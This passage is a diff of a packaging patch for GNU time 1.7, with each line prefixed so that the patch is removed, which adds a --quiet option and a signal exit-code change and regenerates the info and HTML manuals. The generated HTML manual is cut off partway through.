---- time-1.7.orig/version.texi
-+++ time-1.7/version.texi
-@@ -1,3 +1,3 @@
--@set UPDATED 12 June 1996
-+@set UPDATED 9 May 2002
- @set EDITION 1.7
- @set VERSION 1.7
---- time-1.7.orig/time.c
-+++ time-1.7/time.c
-@@ -147,6 +147,10 @@
- NULL
- };
-
-+
-+/* If true, do not show the exit message */
-+static boolean quiet;
-+
- /* If true, show an English description next to each statistic. */
- static boolean verbose;
-
-@@ -172,6 +176,7 @@
- {"help", no_argument, NULL, 'h'},
- {"output-file", required_argument, NULL, 'o'},
- {"portability", no_argument, NULL, 'p'},
-+ {"quiet", no_argument,NULL, 'q'},
- {"verbose", no_argument, NULL, 'v'},
- {"version", no_argument, NULL, 'V'},
- {NULL, no_argument, NULL, 0}
-@@ -333,7 +338,8 @@
- else if (WIFSIGNALED (resp->waitstatus))
- fprintf (fp, "Command terminated by signal %d\n",
- WTERMSIG (resp->waitstatus));
-- else if (WIFEXITED (resp->waitstatus) && WEXITSTATUS (resp->waitstatus))
-+ else if (WIFEXITED (resp->waitstatus) && WEXITSTATUS (resp->waitstatus)
-+ && !quiet)
- fprintf (fp, "Command exited with non-zero status %d\n",
- WEXITSTATUS (resp->waitstatus));
-
-@@ -523,6 +529,7 @@
- char *format; /* Format found in environment. */
-
- /* Initialize the option flags. */
-+ quiet = false;
- verbose = false;
- outfile = NULL;
- outfp = stderr;
-@@ -536,7 +543,7 @@
- if (format)
- output_format = format;
-
-- while ((optc = getopt_long (argc, argv, "+af:o:pvV", longopts, (int *) 0))
-+ while ((optc = getopt_long (argc, argv, "+af:o:pqvV", longopts, (int *) 0))
- != EOF)
- {
- switch (optc)
-@@ -555,6 +562,9 @@
- case 'p':
- output_format = posix_format;
- break;
-+ case 'q':
-+ quiet = true;
-+ break;
- case 'v':
- verbose = true;
- break;
-@@ -642,9 +652,9 @@
- fflush (outfp);
-
- if (WIFSTOPPED (res.waitstatus))
-- exit (WSTOPSIG (res.waitstatus));
-+ exit (WSTOPSIG (res.waitstatus) + 128);
- else if (WIFSIGNALED (res.waitstatus))
-- exit (WTERMSIG (res.waitstatus));
-+ exit (WTERMSIG (res.waitstatus) + 128);
- else if (WIFEXITED (res.waitstatus))
- exit (WEXITSTATUS (res.waitstatus));
- }
-@@ -657,7 +667,7 @@
- fprintf (stream, "\
- Usage: %s [-apvV] [-f format] [-o file] [--append] [--verbose]\n\
- [--portability] [--format=format] [--output=file] [--version]\n\
-- [--help] command [arg...]\n",
-+ [--quiet] [--help] command [arg...]\n",
- program_name);
- exit (status);
- }
---- time-1.7.orig/resuse.h
-+++ time-1.7/resuse.h
-@@ -36,19 +36,8 @@
- # include <sys/rusage.h>
- #else
- # define TV_MSEC tv_usec / 1000
--# if HAVE_WAIT3
-+# if HAVE_SYS_RESOURCE_H
- # include <sys/resource.h>
--# else
--/* Process resource usage structure. */
--struct rusage
--{
-- struct timeval ru_utime; /* User time used. */
-- struct timeval ru_stime; /* System time used. */
-- int ru_maxrss, ru_ixrss, ru_idrss, ru_isrss,
-- ru_minflt, ru_majflt, ru_nswap, ru_inblock,
-- ru_oublock, ru_msgsnd, ru_msgrcv, ru_nsignals,
-- ru_nvcsw, ru_nivcsw;
--};
- # endif
- #endif
-
---- time-1.7.orig/time.texi
-+++ time-1.7/time.texi
-@@ -11,6 +11,12 @@
- @finalout
- @end iftex
-
-+@dircategory Individual utilities
-+@direntry
-+* time: (time). Run programs and summarize
-+ system resource usage.
-+@end direntry
-+
- @ifinfo
- This file documents the the GNU @code{time} command for running programs
- and summarizing the system resources they use.
-@@ -185,6 +191,10 @@
- sys %S
- @end example
-
-+@item -q
-+@itemx --quiet
-+Suppress non-zero error code from the executed program.
-+
- @item -v
- @itemx --verbose
- @cindex format
---- time-1.7.orig/time.info
-+++ time-1.7/time.info
-@@ -1,5 +1,10 @@
--This is Info file ./time.info, produced by Makeinfo-1.55 from the input
--file time.texi.
-+This is time.info, produced by makeinfo version 4.1 from time.texi.
-+
-+INFO-DIR-SECTION Individual utilities
-+START-INFO-DIR-ENTRY
-+* time: (time). Run programs and summarize
-+ system resource usage.
-+END-INFO-DIR-ENTRY
-
- This file documents the the GNU `time' command for running programs
- and summarizing the system resources they use.
-@@ -31,7 +36,7 @@
-
- * Resource Measurement:: Measuring program resource use.
-
-- -- The Detailed Node Listing --
-+ --- The Detailed Node Listing ---
-
- Measuring Program Resource Use
-
-@@ -58,14 +63,14 @@
- The `time' command runs another program, then displays information
- about the resources used by that program, collected by the system while
- the program was running. You can select which information is reported
--and the format in which it is shown (*note Setting Format::.), or have
-+and the format in which it is shown (*note Setting Format::), or have
- `time' save the information in a file instead of displaying it on the
--screen (*note Redirecting::.).
-+screen (*note Redirecting::).
-
- The resources that `time' can report on fall into the general
- categories of time, memory, and I/O and IPC calls. Some systems do not
- provide much information about program resource use; `time' reports
--unavailable information as zero values (*note Accuracy::.).
-+unavailable information as zero values (*note Accuracy::).
-
- The format of the `time' command is:
-
-@@ -132,6 +137,10 @@
- user %U
- sys %S
-
-+`-q'
-+`--quiet'
-+ Suppress non-zero error code from the executed program.
-+
- `-v'
- `--verbose'
- Use the built-in verbose format, which displays each available
-@@ -174,7 +183,7 @@
- The resource specifiers, which are a superset of those recognized by
- the `tcsh' builtin `time' command, are listed below. Not all resources
- are measured by all versions of Unix, so some of the values might be
--reported as zero (*note Accuracy::.).
-+reported as zero (*note Accuracy::).
-
- * Menu:
-
-@@ -308,11 +317,11 @@
- `-o FILE'
- `--output=FILE'
- Write the resource use statistics to FILE. By default, this
-- *overwrites* the file, destroying the file's previous contents.
-+ _overwrites_ the file, destroying the file's previous contents.
-
- `-a'
- `--append'
-- *Append* the resource use information to the output file instead
-+ _Append_ the resource use information to the output file instead
- of overwriting it. This option is only useful with the `-o' or
- `--output' option.
-
-@@ -437,7 +446,7 @@
-
- `-a'
- `--append'
-- *Append* the resource use information to the output file instead
-+ _Append_ the resource use information to the output file instead
- of overwriting it.
-
- `-f FORMAT'
-@@ -462,17 +471,17 @@
-
- 
- Tag Table:
--Node: Top934
--Node: Resource Measurement1725
--Node: Setting Format3678
--Node: Format String4907
--Node: Time Resources6214
--Node: Memory Resources6844
--Node: I/O Resources7549
--Node: Command Info8747
--Node: Redirecting8964
--Node: Examples9754
--Node: Accuracy12064
--Node: Invoking time13586
-+Node: Top1115
-+Node: Resource Measurement1908
-+Node: Setting Format3858
-+Node: Format String5164
-+Node: Time Resources6470
-+Node: Memory Resources7100
-+Node: I/O Resources7805
-+Node: Command Info9003
-+Node: Redirecting9220
-+Node: Examples10010
-+Node: Accuracy12320
-+Node: Invoking time13842
- 
- End Tag Table
---- time-1.7.orig/time.html
-+++ time-1.7/time.html
-@@ -0,0 +1,1021 @@
-+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-+ "http://www.w3.org/TR/html40/loose.dtd">
-+<HTML>
-+<!-- Created on September, 1 2003 by texi2html 1.66 -->
-+<!--
-+Written by: Lionel Cons <Lionel.Cons@cern.ch> (original author)
-+ Karl Berry <karl@freefriends.org>
-+ Olaf Bachmann <obachman@mathematik.uni-kl.de>
-+ and many others.
-+Maintained by: Many creative people <dev@texi2html.cvshome.org>
-+Send bugs and suggestions to <users@texi2html.cvshome.org>
-+
-+-->
-+<HEAD>
-+<TITLE>Measuring Program Resource Use</TITLE>
-+
-+<META NAME="description" CONTENT="Measuring Program Resource Use">
-+<META NAME="keywords" CONTENT="Measuring Program Resource Use">
-+<META NAME="resource-type" CONTENT="document">
-+<META NAME="distribution" CONTENT="global">
-+<META NAME="Generator" CONTENT="texi2html 1.66">
-+
-+</HEAD>
-+
-+<BODY LANG="en" BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF" VLINK="#800080" ALINK="#FF0000">
-+
-+<A NAME="SEC_Top"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H1>Measuring Program Resource Use</H1>
-+
-+<P>
-+
-+This file documents the the GNU <CODE>time</CODE> command for running programs
-+and summarizing the system resources they use.
-+This is edition 1.7, for version 1.7.
-+</P>
-+<P>
-+
-+</P>
-+<TABLE BORDER="0" CELLSPACING="0">
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC1">1. Measuring Program Resource Use</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Measuring program resource use.</TD></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP"> -- The Detailed Node Listing ---
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">Measuring Program Resource Use
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">
-+</TH></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC2">1.1 Setting the Output Format</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Selecting the information reported by <CODE>time</CODE>.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC3">1.2 The Format String</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">The information <CODE>time</CODE> can report.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC8">1.3 Redirecting Output</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Writing the information to a file.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC9">1.4 Examples</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Examples of using <CODE>time</CODE>.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC10">1.5 Accuracy</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Limitations on the accuracy of <CODE>time</CODE> output.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC11">1.6 Running the <CODE>time</CODE> Command</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Summary of the options to the <CODE>time</CODE> command.</TD></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">The Format String
-+</TH></TR>
-+<TR><TH COLSPAN="3" ALIGN="left" VALIGN="TOP">
-+</TH></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC4">1.2.1 Time Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC5">1.2.2 Memory Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC6">1.2.3 I/O Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC7">1.2.4 Command Info</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+</TABLE>
-+<P>
-+
-+<HR SIZE=1>
-+<A NAME="SEC1"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC2"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[ &lt;&lt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<A NAME="Resource Measurement"></A>
-+<H1> 1. Measuring Program Resource Use </H1>
-+<!--docid::SEC1::-->
-+<P>
-+
-+The <CODE>time</CODE> command runs another program, then displays information
-+about the resources used by that program, collected by the system while
-+the program was running. You can select which information is reported
-+and the format in which it is shown (see section <A HREF="time.html#SEC2">1.1 Setting the Output Format</A>), or have
-+<CODE>time</CODE> save the information in a file instead of displaying it on the
-+screen (see section <A HREF="time.html#SEC8">1.3 Redirecting Output</A>).
-+</P>
-+<P>
-+
-+The resources that <CODE>time</CODE> can report on fall into the general
-+categories of time, memory, and I/O and IPC calls. Some systems do not
-+provide much information about program resource use; <CODE>time</CODE>
-+reports unavailable information as zero values (see section <A HREF="time.html#SEC10">1.5 Accuracy</A>).
-+</P>
-+<P>
-+
-+The format of the <CODE>time</CODE> command is:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>time [option<small>...</small>] <VAR>command</VAR> [<VAR>arg</VAR><small>...</small>]
-+</pre></td></tr></table><P>
-+
-+<A NAME="IDX1"></A>
-+<CODE>time</CODE> runs the program <VAR>command</VAR>, with any given arguments
-+<VAR>arg</VAR><small>...</small>. When <VAR>command</VAR> finishes, <CODE>time</CODE> displays
-+information about resources used by <VAR>command</VAR>.
-+</P>
-+<P>
-+
-+Here is an example of using <CODE>time</CODE> to measure the time and other
-+resources used by running the program <CODE>grep</CODE>:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>eg$ time grep nobody /etc/aliases
-+nobody:/dev/null
-+etc-files:nobody
-+misc-group:nobody
-+0.07user 0.50system 0:06.69elapsed 8%CPU (0avgtext+489avgdata 324maxresident)k
-+46inputs+7outputs (43major+251minor)pagefaults 0swaps
-+</pre></td></tr></table><P>
-+
-+Mail suggestions and bug reports for GNU <CODE>time</CODE> to
-+<CODE>bug-gnu-utils@prep.ai.mit.edu</CODE>. Please include the version of
-+<CODE>time</CODE>, which you can get by running `<SAMP>time --version</SAMP>', and the
-+operating system and C compiler you used.
-+</P>
-+<P>
-+
-+<TABLE BORDER="0" CELLSPACING="0">
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC2">1.1 Setting the Output Format</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Selecting the information reported by <CODE>time</CODE>.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC3">1.2 The Format String</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">The information <CODE>time</CODE> can report.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC8">1.3 Redirecting Output</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Writing the information to a file.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC9">1.4 Examples</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Examples of using <CODE>time</CODE>.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC10">1.5 Accuracy</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Limitations on the accuracy of <CODE>time</CODE> output.</TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC11">1.6 Running the <CODE>time</CODE> Command</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP">Summary of the options to the <CODE>time</CODE> command.</TD></TR>
-+</TABLE>
-+<P>
-+
-+<A NAME="Setting Format"></A>
-+<HR SIZE="6">
-+<A NAME="SEC2"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC3"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.1 Setting the Output Format </H2>
-+<!--docid::SEC2::-->
-+<P>
-+
-+<CODE>time</CODE> uses a <EM>format string</EM> to determine which information to
-+display about the resources used by the command it runs. See section <A HREF="time.html#SEC3">1.2 The Format String</A>, for the interpretation of the format string contents.
-+</P>
-+<P>
-+
-+You can specify a format string with the command line options listed
-+below. If no format is specified on the command line, but the
-+<CODE>TIME</CODE> environment variable is set, its value is used as the format
-+string. Otherwise, the default format built into <CODE>time</CODE> is used:
-+</P>
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>%Uuser %Ssystem %Eelapsed %PCPU (%Xtext+%Ddata %Mmax)k
-+%Iinputs+%Ooutputs (%Fmajor+%Rminor)pagefaults %Wswaps
-+</pre></td></tr></table><P>
-+
-+The command line options to set the format are:
-+</P>
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>-f <VAR>format</VAR></CODE>
-+<DD><DT><CODE>--format=<VAR>format</VAR></CODE>
-+<DD>Use <VAR>format</VAR> as the format string.
-+<P>
-+
-+</P>
-+<DT><CODE>-p</CODE>
-+<DD><DT><CODE>--portability</CODE>
-+<DD>Use the following format string, for conformance with POSIX standard
-+1003.2:
-+<P>
-+
-+<TABLE><tr><td>&nbsp;</td><td class=example><pre>real %e
-+user %U
-+sys %S
-+</pre></td></tr></table><P>
-+
-+</P>
-+<DT><CODE>-q</CODE>
-+<DD><DT><CODE>--quiet</CODE>
-+<DD>Suppress non-zero error code from the executed program.
-+<P>
-+
-+</P>
-+<DT><CODE>-v</CODE>
-+<DD><DT><CODE>--verbose</CODE>
-+<DD><A NAME="IDX2"></A>
-+Use the built-in verbose format, which displays each available piece of
-+information on the program's resource use on its own line, with an
-+English description of its meaning.
-+</DL>
-+<P>
-+
-+<A NAME="Format String"></A>
-+<HR SIZE="6">
-+<A NAME="SEC3"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC2"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC4"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H2> 1.2 The Format String </H2>
-+<!--docid::SEC3::-->
-+<P>
-+
-+<A NAME="IDX3"></A>
-+<A NAME="IDX4"></A>
-+The <EM>format string</EM> controls the contents of the <CODE>time</CODE> output.
-+It consists of <EM>resource specifiers</EM> and <EM>escapes</EM>, interspersed
-+with plain text.
-+</P>
-+<P>
-+
-+A backslash introduces an <EM>escape</EM>, which is translated
-+into a single printing character upon output. The valid escapes are
-+listed below. An invalid escape is output as a question mark followed
-+by a backslash.
-+</P>
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>\t</CODE>
-+<DD>a tab character
-+<P>
-+
-+</P>
-+<DT><CODE>\n</CODE>
-+<DD>a newline
-+<P>
-+
-+</P>
-+<DT><CODE>\\</CODE>
-+<DD>a literal backslash
-+</DL>
-+<P>
-+
-+<CODE>time</CODE> always prints a newline after printing the resource use
-+information, so normally format strings do not end with a newline
-+character (or `<SAMP>\n</SAMP>').
-+</P>
-+<P>
-+
-+A resource specifier consists of a percent sign followed by another
-+character. An invalid resource specifier is output as a question mark
-+followed by the invalid character. Use `<SAMP>%%</SAMP>' to output a literal
-+percent sign.
-+</P>
-+<P>
-+
-+The resource specifiers, which are a superset of those recognized by the
-+<CODE>tcsh</CODE> builtin <CODE>time</CODE> command, are listed below. Not all
-+resources are measured by all versions of Unix, so some of the values
-+might be reported as zero (see section <A HREF="time.html#SEC10">1.5 Accuracy</A>).
-+</P>
-+<P>
-+
-+<TABLE BORDER="0" CELLSPACING="0">
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC4">1.2.1 Time Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC5">1.2.2 Memory Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC6">1.2.3 I/O Resources</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+<TR><TD ALIGN="left" VALIGN="TOP"><A HREF="time.html#SEC7">1.2.4 Command Info</A></TD><TD>&nbsp;&nbsp;</TD><TD ALIGN="left" VALIGN="TOP"></TD></TR>
-+</TABLE>
-+<P>
-+
-+<A NAME="Time Resources"></A>
-+<HR SIZE="6">
-+<A NAME="SEC4"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC3"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC5"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H3> 1.2.1 Time Resources </H3>
-+<!--docid::SEC4::-->
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>E</CODE>
-+<DD>Elapsed real (wall clock) time used by the process, in
-+[hours:]minutes:seconds.
-+<P>
-+
-+</P>
-+<DT><CODE>e</CODE>
-+<DD>Elapsed real (wall clock) time used by the process, in
-+seconds.
-+<P>
-+
-+</P>
-+<DT><CODE>S</CODE>
-+<DD>Total number of CPU-seconds used by the system on behalf of the process
-+(in kernel mode), in seconds.
-+<P>
-+
-+</P>
-+<DT><CODE>U</CODE>
-+<DD>Total number of CPU-seconds that the process used directly (in user
-+mode), in seconds.
-+<P>
-+
-+</P>
-+<DT><CODE>P</CODE>
-+<DD>Percentage of the CPU that this job got. This is just user + system
-+times divied by the total running time.
-+</DL>
-+<P>
-+
-+<A NAME="Memory Resources"></A>
-+<HR SIZE="6">
-+<A NAME="SEC5"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC4"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC6"> &gt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC1"> &lt;&lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top"> Up </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[ &gt;&gt; ]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT"> &nbsp; <TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Top">Top</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_Contents">Contents</A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[Index]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC_About"> ? </A>]</TD>
-+</TR></TABLE>
-+<H3> 1.2.2 Memory Resources </H3>
-+<!--docid::SEC5::-->
-+<P>
-+
-+</P>
-+<DL COMPACT>
-+<DT><CODE>M</CODE>
-+<DD>Maximum resident set size of the process during its lifetime, in
-+Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>t</CODE>
-+<DD>Average resident set size of the process, in Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>K</CODE>
-+<DD>Average total (data+stack+text) memory use of the process, in Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>D</CODE>
-+<DD>Average size of the process's unshared data area, in Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>p</CODE>
-+<DD>Average size of the process's unshared stack, in Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>X</CODE>
-+<DD>Average size of the process's shared text, in Kilobytes.
-+<P>
-+
-+</P>
-+<DT><CODE>Z</CODE>
-+<DD>System's page size, in bytes. This is a per-system constant, but
-+varies between systems.
-+</DL>
-+<P>
-+
-+<A NAME="I/O Resources"></A>
-+<HR SIZE="6">
-+<A NAME="SEC6"></A>
-+<TABLE CELLPADDING=1 CELLSPACING=1 BORDER=0>
-+<TR><TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC5"> &lt; </A>]</TD>
-+<TD VALIGN="MIDDLE" ALIGN="LEFT">[<A HREF="time.html#SEC7"> &gt; </A>]</TD>
